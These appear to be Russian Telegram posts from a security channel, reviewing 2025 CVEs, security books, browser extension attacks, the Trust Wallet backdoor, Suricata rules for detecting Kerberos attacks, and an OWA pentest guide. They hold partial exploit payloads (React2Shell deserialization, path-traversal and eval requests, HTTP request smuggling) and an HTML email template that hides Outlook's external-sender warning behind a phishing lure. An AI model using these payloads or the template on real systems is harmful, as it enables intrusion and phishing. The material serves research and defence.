o(_)\\ ⠀ ⠀⠀⠠⠤⠶⠾⢿⡯⠷⠶⠤⠄ //(_)o<!-- И таких баунти, чтобы через год, в этот же день, икру можно было грести поварёшкой! -->
➡️Enjoy! 🎇
@HaHacking 🐇 [🎀]
2 496
⚠️ #заметки #события #offense #infrastructure #web
➡️НЕ рейтинг (боже упаси), но обзор! Самые громкие CVE за год: те, что заработали высокий CVSS, и те, что просто вызвали эмоции;
🐰 React2Shell / React Server Unauth RCE ⚡️
ℹ️ 1C-Bitrix / Bitrix24 Translate Auth RCE
ℹ
CVE-2025-55182 / CVE-2025-66478 / ...
В связи с небезопасной десериализацей: запрос со специально сформированным объектом➡️Unauth RCE на тысячах хостов;
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"██████;",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}CVE-2025-64446➕CVE-2025-58034
CVE-2025-64446 — Path Traversal в Apache➕CGI Auth Bypass➡️Unauth создание административных аккаунтов;
POST /api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi
CGIINFO: <CGIINFO>
{"data": {██████}}CVE-2025-58034 — Auth исполнение произвольных системных команд; Вместе с CVE-2025-64446➡️цепочка для RCE;
▪️ Статья-обзор, CVE-2025-64446
▪️ Статья-обзор, CVE-2025-58034
🐰 Grafana PrivEsc
ℹ️ CVE-2025-41115
Из-за некорректного маппинга идентификаторов в SCIM возможна подмена externalId / создание пользователя с externalId=1➡️коллизия, вход под любым пользователем / администратором;
POST /api/scim/v2/Users
{"schemas": ["urn:ietf:params:scim:schemas:core:2.0:User"], "externalId": ██████, ...}CVE-2025-2945, CVE-2025-13780
CVE-2025-2945 — для обработки запросов в модулях Query Tool / Cloud Deployment использовался eval()➡️Auth RCE: py0zz1.tistory.com/.../Remote-Code-Execution-Vulnerability-in-pgAdmin-CVE-2025-2945;
POST /sqleditor/query_tool/download/<ID>
{"query_commited": "██████"}
POST /cloud/deploy
{"high_availability": "██████"}CVE-2025-13780 — Regex для блокировки опасных метакоманд в PLAIN-дампах не учитывал некоторые последовательности (\r, \x0B, \x0C, \xEF\xBB\xBF, ...)➡️RCE;
▪️ Статья-обзор
▪️ github.com/zeropwn/pgadmin4-9.10-CVE-2025-13780
🐰 ASP[.]NET Core HTTP Request Smuggling
ℹ️ CVE-2025-55315
Всё по заветам ‟HTTP/1.1 must die” от James Kettle — благодаря особенностям протокола + недостаточной фильтрации➡️HTTP Request Smuggling;
Например, вот этот запрос вернёт xy:
POST /Echo HTTP/1.1
Host: <HOSTNAME>
Transfer-Encoding: chunked
Content-Type: text/plain
2;\n
xx\r\n
xy\r\n
0\r\n
\r\nCVE-2025-49844
13 лет томилась в кодовой базе, чтобы в этом году выстрелить: из-за особенностей работы со стеком, обработка специального скрипта может привести к Use-After-Free➡️выход из песочницы Lua, RCE:
▪️ Статья-обзор
▪️ github.com/raminfp/redis_exploit
🐰 MongoBleed / MongoDB Unauth Memory Leak
ℹ️ CVE-2025-14847
Отправка специальных сообщений с увеличенными значениями длины, чтобы сервер выделил побольше памяти (верит на слово, несмотря на размер после разжатия) + без \0, чтобы не заканчивал читать➡️утечка памяти в ответе;
▪️ Статья-обзор
▪️ PoC, опубликованный на Рождество исследователями из Elastic
🐭 CVE-2025-67886 / CVE-2025-67887 (???)
Содержимое архивов, загружаемых в модуль, недостаточно проверялось: возможно добавление специального .htaccess + PHP-файла с web shell➡Auth RCE;
Но есть нюанс — "Auth" серьёзный, по сути административный😊 А был ли мальчик?
▪ karmainsecurity.com/KIS-2025-07
▪ karmainsecurity.com/KIS-2025-08
➡️Stay safe!
@HaHacking 🐇 [🍬]2 496
📚 #литература
➡️НЕ рейтинг, но обзор! Книг за этот год: от образовательных до развлекательных, но обязательно – по теме ИБ;
📖 «Windows глазами хакера»
📧 М. Жмайло, @RedTeambro❌@xakep_ru
ℹ️ #infrastructure #ad #offense
🔖 Маркетплейсы / "БХВ"
Возможно, прозвучит громко, но всё же — это та книжка, что должна стоять на полке у каждого внутрянщика; Аж ± 460 страниц чистой техники с упором на "нападение": необходимая теоретическая база для понимания атак➕практическая демонстрация атак на компоненты системы.
внезапно со стороны "защиты" – вирусных аналитиков;
Здесь [популярно] про: эволюцию вредоносного ПО, инфицирование компьютерными червями Stuxnet КИИ + Carbanak банков, шпионское ПО DarkHotel, троян Turla / Uroboros, операцию "Триангуляция", ...
📖 «Хакеры[.]RU»
📧 В. Холмогоров, @xakep_ru
ℹ️ #malware #offense
🔖 xakep.shop / author.today
Художественное произведение на случай, если захочется разгрузить голову от взрослых задач и взамен ощутить себя подростком в 00-х: та самая романтика "андерграунда", форумов со всем им причитающимся и, конечно, трудностями юности – куда ж без этого?
Займёт пару вечеров, но сделает тепло на душе!
➡Приятного чтения! 👍
@HaHacking 🐇 [📖]
Из оглавления: ▪️ Атаки на доверенные отношения доменов и лесов AD ▪️ Эксплуатация небезопасных групповых политик ▪️ Пентест Read-only Domain Controller'ов ▪️ Привилегии в Windows ▪️ Извлечение учётных данных➕кража сессий ▪️ Обход UAC ▪️ Методы дампа тикетов➕Ручная инъекция тикетов ▪️ WinAPI для пентестеров➕Обфускация вызовов ▪️ Обращение к нативному коду➕Варианты исполнения стороннего кода ▪️ ...📖 «Хакерская самооборона» 📧 А. Жуков, @s0i37_channel ℹ️ #infrastructure #ad #defense 🔖 Маркетплейсы / "БХВ" [Совсем свежо! Потому лично не ознакомлена, но судя по предыдущим работам автора — в качестве сомневаться не приходится] Техническая книга о защите инфраструктуры от атак, внутри которой 2 части (Внешний нарушитель + Внутренний нарушитель) & 2 стороны (Хакер / Абстрактная компания): обнаружение и анализ атакующего, противодействие хакерской разведке, выявление атак и противостояние им.
Из оглавления: ▪️ Атаки из Интернета: что ищет хакер? где он? какие у него ресурсы? как противодействовать? ▪️ Атаки в радиоэфире: обнаружение + противодействие (деаутентификации, PMKID, брутфорсу, Evil Twin, GTC downgrade, KARMA) ▪️ Атаки в локальной сети: обнаружение снифферов, сканирования, перехвата трафика, вредоносных серверов, NetBIOS спуфинга, NTLM-relay + размещаем honeypot'ы ▪️ Атаки в AD: обнаружение атак на пользователей / хосты / групповые политики / группы / ...📖 «На⭐️уй безопасность» 📧 George K., @ever_secure ℹ #devsecops #defense 🔖 eversecure.ru / бета-версия С юмором о наболевшем, но с пользой для проектов: обзор проблем безопасности в рамках жизненного цикла разработки ПО с точки зрения того, кому придётся с этими проблемами разбираться; Здесь про: организацию процессов, инциденты, харденинг инфраструктуры, код-ревью и написание тестов, буковки QA, SAST, SCA, OSA, ... 📖 «Вирьё моё!» 📧 Гайка Митич & Бойко Двачич ℹ️ #malware #forensics #defense 🔖 Маркетплейсы / "Читай-город" / "Эксмо" Реальные истории, громкие инциденты и вредоносные кампании, но красивыми словами, и
2 496
🌐 #заметки #web #offense
➡️База знаний extensions.neplox.security — единый ресурс о безопасности расширений для Chrome➕браузеров на базе Chromium:
🧩 ‟Chrome Extension Security” (@slonser_notes)
Много чего сказано про заведомо вредоносные расширения, гораздо меньше – про уязвимости легитимных расширений, хотя они обычно включены в скоуп багбаунти программ.
Эта база (вместе с докладом ‟Атакуем криптокошельки: свежий взгляд на безопасность браузерных расширений” с PHDays 2025➕слайдами оттуда) закрывает потребность в информации по теме:
ℹ️ Проводит за руку от структуры браузерных расширений + теоретической информации, необходимой для создания собственного расширения;
ℹ️ До релевантных векторов атаки:
▪ Эксплуатация addEventListener
▪ Эксплуатация коммуникации
▪ Эксплуатация Shadow DOM
▪ Clickjacking / UI Redressing
▪ Небезопасные хранилища➡️Universal XSS ⚡️
#web3 #события На днях Trust Wallet выпустил обновление своего браузерного расширения – версию➡Есть чем дополнить базу? Пожалуйста, сделайте доброе дело – дополните! 🦸♂ @HaHacking 🐇 [🥨]2.68, с бекдором: 0️⃣ Пользователь разблокировал кошелёк➡️бекдор получаетpassword/passkeyPassword1️⃣ Бекдор вызываетGET_SEED_PHRASE➡️получает зашифрованную секретную фразу 2️⃣password/passkeyPasswordиспользуется для дешифровки фразы 3️⃣ Секретная фраза записывается в тело ошибки,errorMessage4️⃣ Через инструмент для аналитики PostHog "ошибка" с фразой улетает на вредоносныйapi[.]metrics-trustwallet[.]comВторым слоем иронии послужилfix-trustwallet[.]com– сосед предыдущего домена, который просил пользователей ввести секретную фразу для "обновления кошелька до безопасной версии"; Третьим – волна фишинга для "восстановления средств"; Предварительно известно, что версия2.68не проходила стандартные внутренние процессы публикации, а была выложена сразу в Chrome Web Store с помощью их [утёкшего?] API ключа. Такие вот дела в мире безопасности расширений!
2 496
🫥 #инструменты #заметки #defense #offense #devsecops #infrastructure #ad
➡️Говоря о защите инфраструктуры, непременно вспоминаются следующие работы @castercanal за этот год, все из которых основаны на глубоком анализе сетевого трафика / пакетов / байтовых последовательностей:
❤️ ACTIVE DIRECTORY
🧩 ‟Seen It All” — атаки на Active Directory➕их обнаружение через Suricata IDS;
▪️ LLMNR / NBT-NS / mDNS Poisoning
▪️ IPv6 Takeover
▪️ AS-REP Roasting
▪️ Impacket / Rubeus
🌟 KERBEROS
🧩 ‟Parallax” — атаки на протокол Kerberos➕их обнаружение через Suricata IDS;
▪️ Kerberos Enumeration❤️ БЕЗОПАСНОСТЬ IPv6 🧩 caster0x00/Ibex 🧩 ‟Legless” — атаки на IPv6: подробный разбор и удобная эксплуатация через интерактивный тулкит Ibex➕способы обнаружения таких атак; ▪️ Сетевые настройки ядра ▪️ Spoofing роутера и DNS через RA Spoofing ▪️ RDNSS Spoofing ▪️ DHCPv6 Spoofing ▪️ Атаки черезalert tcp any any -> any 88 ( msg:"[TCP] High Rate of Kerberos AS-REQ, Possible Enumeration"; content:"|a1 03 02 01 05 a2 03 02 01 0a|"; content:"|6b 72 62 74 67 74|"; fast_pattern; threshold:type limit, track by_src, count 5, seconds 10; sid:100001; rev:1; )▪️ Kerberos Bruteforcealert tcp any any -> any 88 ( msg:"[TCP] High Rate of Kerberos AS-REQ with PA-DATA, Possible Bruteforce or Spray Attack"; content:"|a1 03 02 01 05 a2 03 02 01 0a|"; content:"|a1 03 02 01 02|"; content:"|6b 72 62 74 67 74|"; fast_pattern; threshold:type limit, track by_src, count 5, seconds 10; sid:100004; rev:1; )▪️ Kerberoasting #️⃣ Поиск подходящих пользователей:alert tcp any any -> any 389 ( msg:"Searching Kerberoastable users via LDAP - Possible Kerberoasting"; flow:to_server, stateless; content:"|a3 18 04 0e 6f 62 6a 65 63 74 43 61 74 65 67 6f 72 79 04 06 70 65 72 73 6f 6e|"; content:"|87 14 73 65 72 76 69 63 65 50 72 69 6e 63 69 70 61 6c 4e 61 6d 65|"; content:"|a2 31 a9 2f 81 16 31 2e 32 2e 38 34 30 2e 31 31 33 35 35 36 2e 31 2e 34 2e 38 30 33 82 12 75 73 65 72 41 63 63 6f 75 6e 74 43 6f 6e 74 72 6f 6c 83 01 32|"; fast_pattern; sid:100004; rev:1; )#️⃣ Для отлова подозрительных TGS-REQ:alert tcp any any -> any 88 ( msg:"[TCP] Suspicious Kerberos TGS-REQ — stage 1"; flow:to_server; content:"|a1 03 02 01 05 a2 03 02 01 0c|"; fast_pattern; content:"|6b 72 62 74 67 74|"; content:"|a0 07 03 05 00 40 81 00 10|"; content:"|a0 03 02 01 17|"; content:"|30 23 a0 04 02 02 ff 80|"; flowbits:set,kerb.tgsreq.rc4; noalert; sid:100006; rev:1; )#️⃣ Для отлова ответа TGS-REQ:alert tcp any 88 -> any any ( msg:"[TCP] Kerberos TGS-REP after SPN request — Possible Kerberoasting"; flow:to_client; content:"|a0 03 02 01 05 a1 03 02 01 0d|"; fast_pattern; content:"|a0 03 02 01 17|"; flowbits:isset,kerb.tgsreq.rc4; flowbits:unset,kerb.tgsreq.rc4; sid:100008; rev:1; )▪️ AS-REP Roastingalert tcp any any -> any 88 ( msg:"Suspicious AS-REQ Packet, Possible AS-REP Roasting"; flow:to_server, stateless; content:"|a0 07 03 05 00 50 80 00 00 a1|"; content:"|6b 72 62 74 67 74|"; fast_pattern; content:!"|a1 03 02 01 02|"; sid:100009; rev:1; )
mitm6
#web 💬 Если посмотреть из-под другого угла: когда-то поднимался вопрос корректности реализации парсинга IPv6 в разных ЯП + вытекающих уязвимостей — подробнее в статье @slonser_notes: 🧩 ‟Exploring IPv6 Zone Identifier” ▪️ Обход белого списка поддоменов ▪️ Инъекция с обходом формата URL ▪️ Инъекция произвольных команд ▪️ Инъекция CRLF-конструкций ▪️ Внедрение XSS пейлоада ▪️ Обход чёрного списка IP адресов ▪️ Использование особенностей для SSRF ▪️ . . .@HaHacking 🐇 [📼]
2 496
🧪 #заметки #web #offense #defense
➡️Наконец имеем базу знаний по безопасности веб-приложений на русском языке! Основана она на базе и фундаменте – Web Security Academy от PortSwigger, потому и темы соответствующие;
🧩 ‟Веб Секурити Академия” (@wr3dmast3rvs)
• SERVER-SIDE
▪️ SQL Injection
▪️ Аутентификация
▪️ Path Traversal
▪️ OS Command Injection
▪️ Уязвимости бизнес-логики
▪️ Раскрытие информации
▪️ Контроль доступа
▪️ Загрузка файлов
▪️ Race Conditions
▪️ SSRF
▪️ XXE Injection
▪️ NoSQL Injection
▪️ Тестирование API
▪️ Web Cache Deception
• CLIENT-SIDE
▪️ XSS
▪️ CSRF
▪️ Мисконфигурации CORS
▪️ Clickjacking / UI Redressing
▪️ DOM-based уязвимости
▪️ Тестирование WebSocket
• ADVANCED
▪️ Необходимые навыки
▪️ Небезопасная десериализация
▪️ Атаки на LLM
▪️ Тестирование GraphQL
▪️ SSTI
▪️ Web Cache Poisoning
▪️ Host Header Attacks
▪️ HTTP Request Smuggling
▪️ Тестирование OAuth
▪️ Атаки на JWT
▪️ Prototype Pollution
➡️Кстати, когда-то давно собирала для вас ресурсы для подготовки к сдаче тематического экзамена, Burp Suite Certified Practitioner (BSCP) – свою актуальность они не теряют:
Сборники информации: 🔖 DingyShark/BurpSuiteCertifiedPractitioner 🔖 botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study Райтапы лабораторий: 📖 frank-leitner/portswigger-websecurity-academy 📖 thelicato/portswigger-labs➡Решали лабы Web Security Academy? Сделайте доброе дело – докиньте свои райтапы в базу! 🦸♂️ @HaHacking 🐇 [🍊]
2 496
📬 #заметки #инструменты #web #infrastructure #ad #enumeration #offense
➡Объёмное руководство по пентесту Outlook Web Access (OWA) — однозначно пригодится всем, кто проводит работы по безопасности над корпоративной сетью;
🧩 ‟OWA Pentest Guide” (@pentestnotes)
Здесь – собран большой спектр действительно нужной информации, включая готовые скрипты и инструменты, которая пригодится на всех этапах от разведки и сбора информации до экспулатации уязвимостей OWA / MS Exchange:
✉️ Outlook Web Access:
▪️Password Spraying ▪️Global Address List (GAL) / Offline Address Book (OAB) (swarm.ptsecurity.com/attacking-ms-exchange-web-interfaces) ▪️NSPI (github.com/mhaskar/ExchangeFinder) ▪️ActiveSync (EAS) — github.com/snovvcrash/peas ▪️ZDI-CAN-22101 — SSRF в CreateAttachmentFromURI (trendmicro.com/.../ssrf-exchange-owa) ▪️OWA CAP Bypass ▪️CVE-2020-0688✉️ MS Exchange:
▪️ProxyLogon (CVE-2021-26855 – Pre-auth SSRF, CVE-2021-27065 – Post-auth Arbitrary-File-Write) ▪️ProxyOracle (CVE-2021-31196 – The Padding Oracle, CVE-2021-31195 – XSS и обход HttpOnly) ▪️ProxyShell (CVE-2021-34473 – Pre-auth Path Confusion leads to ACL Bypass, CVE-2021-34523 – Exchange PowerShell Backend Elevation-of-Privilege, CVE-2021-31207 – Post-auth Arbitrary-File-Write) ▪️ProxyRelay (фронтенд Exchange, бекенд Exchange, Windows DCOM) ▪️PrivExchange (NTLM relaying machine accounts, Проведение атаки с повышением привилегий, Relaying to LDAP and signing, Атака без использования учётных данных)➡По полезным ресурсам и заметкам из руководства, хочется отметить следующие:
🧩 Презентация ‟Социотехническое тестирование: цели, методы, инструменты” (Я. Бабин) 🧩 busterb/msmailprobe — time-based атаки подбора логинов для Office 365 / MS Exchange; 🧩 FaLLenSKiLL1/ru_names_wordlists — словари RU юзернеймов в разных форматах (+ дополнительные: тут, в нашем посте); ▪️ ФамилияИмя / ИмяФамилия ▪️ Фамилия.Имя / Имя.Фамилия ▪️ Фамилия-Имя / Имя-Фамилия ▪️ Фамилия_Имя / Имя_Фамилия 🧩 Шаблоны Nuclei для автоматической идентификации и эксплуатации представленных уязвимостей: ▪ cyberheartmi9/Proxyshell-Scanner ▪ projectdiscovery/nuclei-templates/issues/5602 ▪ projectdiscovery/nuclei-templates/.../CVE-2021-26855.yaml ▪ projectdiscovery/nuclei-templates/.../CVE-2021-34473.yaml ▪ projectdiscovery/nuclei-templates/issues/2395➡️Ещё по теме: вспомнила неплохую технику сокрытия предупреждения о "ВНЕШНЕМ ОТПРАВИТЕЛЕ" для Office365, Outlook и OWA, которое встраивается в письма с других доменов: 🧩 ‟External Email Warning Bypass” 🧩 knavesec/570...7b59 Идея сводится к внедрению CSS стилей в HTML письма, чтобы покрасить в белый цвет всё, кроме определённых элементов:
<!DOCTYPE html>
<html>
<head>
<title></title>
<style type="text/css">
body {
display: none !important;
background:#FFFFFF !important;
}
.PAYLOAD {
display: block !important;
}
... {
display: none !important;
background:#FFFFFF !important;
}
</style>
</head>
<body>
<p class="PAYLOAD">Hi! I hope this email finds you well! Please have a look at the attached file ASAP</p>
</body>
</html>